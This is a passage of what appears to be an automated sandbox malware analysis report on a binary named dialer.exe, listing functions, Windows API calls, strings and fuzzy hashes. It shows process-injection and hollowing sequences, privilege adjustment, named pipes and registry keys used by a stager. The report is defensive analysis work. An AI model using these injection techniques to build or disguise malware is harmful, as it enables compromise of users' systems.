GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

dialer.exe, xrefs: 00000001400011CC
ReflectiveDllMain, xrefs: 000000014000139D
MSBuild.exe, xrefs: 00000001400011B8
@, xrefs: 0000000140001401

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNELBASE ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675
dialerstager, xrefs: 0000000140002694

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000000B.00000002.1911314276.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000B.00000002.1911255319.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911374527.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.1911435447.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
